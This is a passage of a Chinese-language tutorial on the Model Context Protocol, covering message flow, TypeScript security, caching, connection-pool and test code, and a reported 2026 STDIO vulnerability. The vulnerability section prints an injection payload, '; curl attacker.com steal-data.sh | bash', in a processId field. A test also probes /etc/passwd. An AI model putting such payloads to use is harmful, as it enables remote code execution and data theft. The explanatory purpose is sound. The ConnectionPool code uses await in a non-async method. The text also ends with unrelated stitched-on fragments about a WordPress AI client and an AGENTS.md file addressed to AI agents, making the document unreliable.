┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 完整通信流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 时间线 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ 阶段1:连接建立 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ Client Server │
│ │ │ │
│ │ ──── stdio connect ───────────────▶│ 建立传输层连接 │
│ │ │ │
│ │ │ │
│ 阶段2:协议握手 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── initialize ─────────────────▶│ 发送初始化请求 │
│ │ { │ │
│ │ jsonrpc: "2.0", │ │
│ │ method: "initialize", │ │
│ │ params: { │ │
│ │ protocolVersion: "2024-11-05",│ │
│ │ capabilities: {...}, │ │
│ │ clientInfo: {...} │ │
│ │ }, │ │
│ │ id: 1 │ │
│ │ } │ │
│ │ │ │
│ │◀──── { │ 返回Server能力 │
│ │ jsonrpc: "2.0", │ │
│ │ result: { │ │
│ │ protocolVersion: "2024-11-05",│ │
│ │ capabilities: {...}, │ │
│ │ serverInfo: {...} │ │
│ │ }, │ │
│ │ id: 1 │ │
│ │ } │ │
│ │ │ │
│ │ ──── initialized (notification) ──▶│ 握手完成通知 │
│ │ { │ │
│ │ jsonrpc: "2.0", │ │
│ │ method: "initialized" │ │
│ │ } │ │
│ │ │ │
│ 阶段3:工具调用 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── tools/list ─────────────────▶│ 获取工具列表 │
│ │ │ │
│ │◀──── { │ 返回工具定义 │
│ │ result: { │ │
│ │ tools: [ │ │
│ │ { name: "read_file", ... },│ │
│ │ { name: "write_file", ... }│ │
│ │ ] │ │
│ │ } │ │
│ │ } │ │
│ │ │ │
│ │ ──── tools/call ──────────────────▶│ 调用工具 │
│ │ { │ │
│ │ method: "tools/call", │ │
│ │ params: { │ │
│ │ name: "read_file", │ │
│ │ arguments: { │ │
│ │ path: "README.md" │ │
│ │ } │ │
│ │ } │ │
│ │ } │ │
│ │ │ │
│ │◀──── { │ 返回结果 │
│ │ result: { │ │
│ │ content: [ │ │
│ │ { type: "text", text: "..."}│ │
│ │ ] │ │
│ │ } │ │
│ │ } │ │
│ │ │ │
│ 阶段4:资源访问 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── resources/list ─────────────▶│ 获取资源列表 │
│ │◀──── { result: { resources: [...] }}│ │
│ │ │ │
│ │ ──── resources/subscribe ─────────▶│ 订阅资源 │
│ │ │ │
│ │◀──── { method: "resources/updated", │ 资源变更通知 │
│ │ params: { uri: "..." } │ │
│ │ } │ │
│ │ │ │
│ 阶段5:连接关闭 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── close ────────────────────────▶│ 关闭连接 │
│ │ │ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
## 六、最佳实践与进阶话题
### 6.1 安全最佳实践
```typescript
/**
* MCP Server 安全检查工具集
*/
/**
* 安全配置
*/
interface SecurityOptions {
/** 允许的目录列表 */
allowedPaths?: string[];
/** 禁止的操作 */
forbiddenOperations?: string[];
/** 最大文件大小 */
maxFileSize?: number;
/** 操作超时 */
timeout?: number;
/** 是否记录审计日志 */
auditLog?: boolean;
}
/**
* 安全验证工具类
*/
class SecurityValidator {
private options: SecurityOptions;
constructor(options: SecurityOptions = {}) {
this.options = {
maxFileSize: 100 * 1024 * 1024, // 100MB
timeout: 30000, // 30秒
auditLog: true,
...options,
};
}
/**
* 验证路径安全性
*
* 防止路径遍历攻击
*/
validatePath(basePath: string, userPath: string): string {
// 解析绝对路径
const absolutePath = path.resolve(basePath, userPath);
// 规范化路径(处理 .. 和 . )
const normalizedPath = path.normalize(absolutePath);
// 检查是否在允许的目录内
if (this.options.allowedPaths && this.options.allowedPaths.length > 0) {
const isAllowed = this.options.allowedPaths.some(allowedPath =>
normalizedPath.startsWith(path.resolve(allowedPath))
);
if (!isAllowed) {
throw new SecurityError(
'PATH_NOT_ALLOWED',
`路径 "${userPath}" 不在允许的目录范围内`
);
}
}
// 确保路径仍然在basePath内(防止 .. 逃逸)
const resolvedBase = path.resolve(basePath);
if (!normalizedPath.startsWith(resolvedBase)) {
throw new SecurityError(
'PATH_TRAVERSAL',
`检测到路径遍历攻击尝试:${userPath}`
);
}
return normalizedPath;
}
/**
* 验证输入参数
*
* 防止注入攻击
*/
validateInput(input: unknown, schema: z.ZodType): unknown {
try {
return schema.parse(input);
} catch (error) {
throw new SecurityError(
'INVALID_INPUT',
`输入验证失败:${(error as Error).message}`
);
}
}
/**
* 验证文件大小
*/
validateFileSize(size: number): void {
if (this.options.maxFileSize && size > this.options.maxFileSize) {
throw new SecurityError(
'FILE_TOO_LARGE',
`文件大小 ${size} 超过限制 ${this.options.maxFileSize}`
);
}
}
/**
* 记录审计日志
*/
audit(action: string, details: Record<string, unknown>): void {
if (this.options.auditLog) {
console.log('[AUDIT]', JSON.stringify({
timestamp: new Date().toISOString(),
action,
...details,
}));
}
}
}
/**
* 安全错误类
*/
class SecurityError extends Error {
constructor(
public code: string,
message: string
) {
super(message);
this.name = 'SecurityError';
}
}
```
### 6.2 性能优化策略
```typescript
/**
* MCP Server 性能优化策略
*/
/**
* 性能优化配置
*/
interface PerformanceOptions {
/** 连接池大小 */
connectionPoolSize?: number;
/** 缓存大小 */
cacheSize?: number;
/** 缓存TTL(毫秒) */
cacheTTL?: number;
/** 是否启用压缩 */
enableCompression?: boolean;
}
/**
* 缓存管理器
*/
class CacheManager<K, V> {
private cache = new Map<K, { value: V; expires: number }>();
private maxSize: number;
private ttl: number;
constructor(maxSize: number = 100, ttl: number = 60000) {
this.maxSize = maxSize;
this.ttl = ttl;
}
get(key: K): V | undefined {
const entry = this.cache.get(key);
if (!entry) {
return undefined;
}
// 检查过期
if (Date.now() > entry.expires) {
this.cache.delete(key);
return undefined;
}
return entry.value;
}
set(key: K, value: V): void {
// 清理过期条目
this.cleanup();
// 如果缓存已满,删除最老的条目
if (this.cache.size >= this.maxSize) {
const firstKey = this.cache.keys().next().value;
this.cache.delete(firstKey);
}
this.cache.set(key, {
value,
expires: Date.now() + this.ttl,
});
}
private cleanup(): void {
const now = Date.now();
for (const [key, entry] of this.cache.entries()) {
if (now > entry.expires) {
this.cache.delete(key);
}
}
}
clear(): void {
this.cache.clear();
}
}
/**
* 连接池
*/
class ConnectionPool<T> {
private pool: T[] = [];
private inUse: Set<T> = new Set();
private factory: () => Promise<T>;
private destroyer?: (connection: T) => Promise<void>;
private maxSize: number;
constructor(
factory: () => Promise<T>,
maxSize: number = 10,
destroyer?: (connection: T) => Promise<void>
) {
this.factory = factory;
this.maxSize = maxSize;
this.destroyer = destroyer;
}
async acquire(): Promise<T> {
// 先尝试从池中获取空闲连接
while (this.pool.length > 0) {
const connection = this.pool.pop()!;
// 验证连接是否有效
if (await this.isValid(connection)) {
this.inUse.add(connection);
return connection;
}
// 无效则销毁
if (this.destroyer) {
await this.destroyer(connection);
}
}
// 池为空且未达上限,创建新连接
if (this.inUse.size < this.maxSize) {
const connection = await this.factory();
this.inUse.add(connection);
return connection;
}
// 等待连接释放
return new Promise((resolve) => {
const interval = setInterval(async () => {
if (this.pool.length > 0) {
clearInterval(interval);
const connection = this.pool.pop()!;
this.inUse.add(connection);
resolve(connection);
}
}, 100);
});
}
release(connection: T): void {
this.inUse.delete(connection);
// 如果池未满,放回池中
if (this.pool.length < this.maxSize) {
this.pool.push(connection);
} else if (this.destroyer) {
// 池已满,销毁连接
await this.destroyer(connection);
}
}
private async isValid(connection: T): Promise<boolean> {
// 子类实现连接验证逻辑
return true;
}
async close(): Promise<void> {
if (this.destroyer) {
for (const connection of [...this.pool, ...this.inUse]) {
await this.destroyer(connection);
}
}
this.pool = [];
this.inUse.clear();
}
}
```
### 6.3 测试策略
```typescript
/**
* MCP Server 测试框架
*/
import { spawn, ChildProcess } from 'child_process';
/**
* MCP Server 测试客户端
*/
class MCPTestClient {
private process: ChildProcess;
private requestId = 0;
private pendingRequests = new Map<string | number, {
resolve: (value: unknown) => void;
reject: (error: Error) => void;
}>();
constructor(serverCommand: string, serverArgs: string[]) {
this.process = spawn(serverCommand, serverArgs, {
stdio: ['pipe', 'pipe', 'pipe'],
});
this.process.stdout?.on('data', (data) => {
this.handleResponse(data.toString());
});
this.process.stderr?.on('data', (data) => {
console.error('[Server Error]', data.toString());
});
}
/**
* 发送请求并等待响应
*/
async request<T>(method: string, params?: Record<string, unknown>): Promise<T> {
const id = ++this.requestId;
const request = {
jsonrpc: '2.0',
method,
params: params || {},
id,
};
return new Promise((resolve, reject) => {
this.pendingRequests.set(id, { resolve, reject });
this.process.stdin?.write(JSON.stringify(request) + '\n');
// 超时处理
setTimeout(() => {
if (this.pendingRequests.has(id)) {
this.pendingRequests.delete(id);
reject(new Error(`请求超时: ${method}`));
}
}, 30000);
});
}
/**
* 发送通知(不等待响应)
*/
notification(method: string, params?: Record<string, unknown>): void {
const notification = {
jsonrpc: '2.0',
method,
params: params || {},
};
this.process.stdin?.write(JSON.stringify(notification) + '\n');
}
private handleResponse(data: string): void {
const lines = data.trim().split('\n');
for (const line of lines) {
try {
const response = JSON.parse(line);
// 通知消息
if (!response.id) {
this.handleNotification(response);
continue;
}
// 响应消息
const pending = this.pendingRequests.get(response.id);
if (pending) {
this.pendingRequests.delete(response.id);
if (response.error) {
pending.reject(new Error(response.error.message));
} else {
pending.resolve(response.result);
}
}
} catch (error) {
console.error('解析响应失败:', error);
}
}
}
private handleNotification(notification: Record<string, unknown>): void {
console.log('[Notification]', notification);
}
/**
* 初始化连接
*/
async initialize(): Promise<unknown> {
const response = await this.request('initialize', {
protocolVersion: '2024-11-05',
capabilities: {},
clientInfo: {
name: 'mcp-test-client',
version: '1.0.0',
},
});
this.notification('initialized');
return response;
}
/**
* 调用工具
*/
async callTool(name: string, args: Record<string, unknown>): Promise<unknown> {
return this.request('tools/call', { name, arguments: args });
}
/**
* 列出工具
*/
async listTools(): Promise<unknown> {
return this.request('tools/list');
}
/**
* 关闭连接
*/
close(): void {
this.process.kill();
this.pendingRequests.clear();
}
}
/**
* 测试辅助函数
*/
describe('MCP Server Tests', () => {
let client: MCPTestClient;
beforeAll(async () => {
client = new MCPTestClient('node', ['dist/server.js']);
await client.initialize();
});
afterAll(() => {
client.close();
});
it('应该能列出所有工具', async () => {
const response = await client.listTools() as { tools: any[] };
expect(response.tools).toBeDefined();
expect(Array.isArray(response.tools)).toBe(true);
});
it('应该能调用read_file工具', async () => {
const response = await client.callTool('read_file', {
path: 'test.txt',
}) as { content: any[] };
expect(response.content).toBeDefined();
expect(Array.isArray(response.content)).toBe(true);
});
it('应该正确处理错误', async () => {
await expect(
client.callTool('read_file', { path: '/etc/passwd' })
).rejects.toThrow();
});
});
```
---
## 七、总结与展望
### 7.1 MCP核心要点总结
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 知识要点总结 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 一、协议定位 │ │
│ │ │ │
│ │ MCP = AI时代的USB协议 │ │
│ │ 目标:让AI工具"即插即用" │ │
│ │ 制定者:Anthropic │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 二、三层架构 │ │
│ │ │ │
│ │ Host(宿主应用) → AI能力载体,管理用户交互 │ │
│ │ Client(客户端) → 连接管理,路由协调 │ │
│ │ Server(服务器) → 业务逻辑,工具实现 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 三、四大核心功能 │ │
│ │ │ │
│ │ Resources(资源) → 静态/动态数据访问 │ │
│ │ Tools(工具) → 可执行操作,AI主动调用 │ │
│ │ Prompts(提示模板) → 预定义提示词,可参数化 │ │
│ │ Sampling(采样) → Server主动生成内容 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 四、关键优势 │ │
│ │ │ │
│ │ 标准化:一次编写,多处运行 │ │
│ │ 安全性:沙箱隔离,细粒度权限 │ │
│ │ 实时性:双向通信,资源订阅 │ │
│ │ 可发现性:自动工具发现,无需手动配置 │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### 7.2 MCP生态发展趋势(2026年)
| 趋势 | 当前状态 | 未来展望 |
|------|---------|---------|
| **协议标准化** | MCP成为事实标准 | 有望成为W3C/IETF正式标准 |
| **多模态支持** | 以文本为主 | 支持图像、音频、视频资源 |
| **分布式架构** | 单机为主 | 支持集群和微服务部署 |
| **安全增强** | 基础权限控制 | 零信任架构、细粒度审计 |
| **工具市场** | 社区驱动 | 企业级 marketplace |
| **AI原生** | 辅助工具 | Agent自主构建工作流 |
### 7.3 资源链接
| 资源 | 链接 |
|------|------|
| 官方规范 | https://modelcontextprotocol.io |
| TypeScript SDK | `@modelcontextprotocol/sdk` |
| Python SDK | `mcp` |
| 官方Server列表 | modelcontextprotocol.io/servers |
| Claude Desktop | claude.ai/desktop |
| Jina MCP | r.jina.ai |
---
## 八、安全考虑与漏洞防范(2026年4月重要更新)
### 8.1 MCP安全漏洞概述
据安全机构OX Security于**2026年4月15日**发布的报告,MCP协议存在严重设计缺陷,可能导致远程代码执行(RCE)。这是架构层面的设计缺陷,并非普通疏忽,存在于官方MCP SDK中。
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 安全漏洞通报(OX Security 2026.04.15) │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ⚠️ 漏洞等级:严重(Critical) │
│ 📅 披露时间:2026年4月15日 │
│ 🏢 发现者:OX Security │
│ 📋 CVE编号:已分配10+个严重级别CVE,仍在增加中 │
│ │
│ 受影响项目(部分): │
│ • LiteLLM │
│ • LangChain │
│ • IBM LangFlow │
│ • 所有基于MCP SDK构建的项目 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### 8.2 漏洞根源分析
问题的根源在于MCP SDK的**STDIO接口**设计。STDIO接口最初设计用于启动本地服务器进程,但其底层执行逻辑存在严重漏洞——它会运行任何传入的操作系统命令,即使服务器启动失败,该命令仍然会在没有任何验证或警告的情况下执行。
```typescript
// 漏洞示意代码(问题所在)
// 当MCP服务器启动失败时,STDIO仍会执行传入的命令
// 攻击者可以构造恶意输入:
{
"jsonrpc": "2.0",
"method": "initialize",
"params": {
// 恶意命令注入
"processId": "; curl attacker.com steal-data.sh | bash"
}
}
```
### 8.3 四种主要攻击路径
| 攻击类型 | 描述 | 风险等级 |
|---------|------|----------|
| **未认证UI注入攻击** | 通过MCP输入注入恶意UI元素 | 高 |
| **安全加固绕过** | 绕过现有的安全限制 | 严重 |
| **提示词注入** | 注入恶意指令影响AI行为 | 高 |
| **恶意插件分发** | 通过插件系统分发恶意代码 | 严重 |
### 8.4 官方响应
截至目前,Anthropic方面尚未完全修复该漏洞。建议用户采取以下防护措施:
```
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 安全防护建议 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 网络隔离 │
│ ❌ 不应将大语言模型或AI工具暴露在公网环境 │
│ ✅ 使用内网部署或VPN访问 │
│ │
│ 2. 输入验证 │
│ ❌ 不应将MCP输入视为可信数据 │
│ ✅ 对所有MCP输入进行严格验证和过滤 │
│ │
│ 3. 提示词防护 │
│ ❌ 不应直接执行用户提供的MCP工具描述 │
│ ✅ 使用提示词注入检测和过滤 │
│ │
│ 4. 最小权限原则 │
│ ❌ 不应给予AI工具过高的系统权限 │
│ ✅ 使用沙箱环境限制AI的操作范围 │
│ │
│ 5. 持续监控 │
│ ✅ 实施MCP调用的完整审计日志 │
│ ✅ 设置异常调用告警 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
### 8.5 Streamable HTTP传输方案更新
MCP在2026年3月迎来了最大规模重构,推出了全新的Streamable HTTP传输方案,效率提升300%:
**核心变更:**
1. **移除专用/sse端点**:服务器不再需要维护SSE长连接
2. **统一/message端点**:处理所有通信,支持动态升级SSE流
3. **无状态会话管理**:客户端通过Mcp-Session-Id实现
4. **Serverless原生支持**:完美适配Vercel/Cloudflare等平台
**为何放弃WebSocket:**
| 问题 | 解释 |
|------|------|
| 长连接冲突 | WebSocket需要持续长连接,与MCP的独立请求模式存在根本冲突 |
| 认证复杂化 | 无法传输HTTP头部信息,导致身份验证流程复杂化 |
| 协议不兼容 | 仅支持GET升级的特性与MCP主要使用的POST请求不兼容 |
**性能提升数据:**
- 某AI客服系统迁移后,服务器资源消耗降低**47%**
- 使用AWS Lambda部署,成本降低**60%**
---
**延伸阅读:**
- [AgenticAI工作流设计模式深度解析2026实战版](./AgenticAI工作流设计模式深度解析2026实战版.md)
- [Agent Memory系统设计](./Agent_Memory系统设计.md)
- [Multi-Agent协作机制](./Multi-Agent协作机制.md)
- [Prompt_Engineering实战](./Prompt_Engineering实战.md)
An AI client and API for WordPress to communicate with any generative AI models of various capabilities using a uniform API. Built on top of the [PHP AI Client](https://github.com/WordPress/php-ai-client), it provides a WordPress-native Prompt Builder, an Admin Settings Screen for credentials, automatic credential wiring, a PSR-compliant HTTP client, and a client-side JavaScript API.
> This file provides instructions for AI agents that read AGENTS.md (GitHub Copilot, Cursor, Windsurf, Cline, Aider, OpenCode, and others).
This document collects ideas and instructions for implementing future improvements. Follow these when adding features or refactoring the code.
> This file must stay **in sync** with `CLAUDE.md`. Whenever you change one, mirror the same change in the other so both tools continue to work correctly.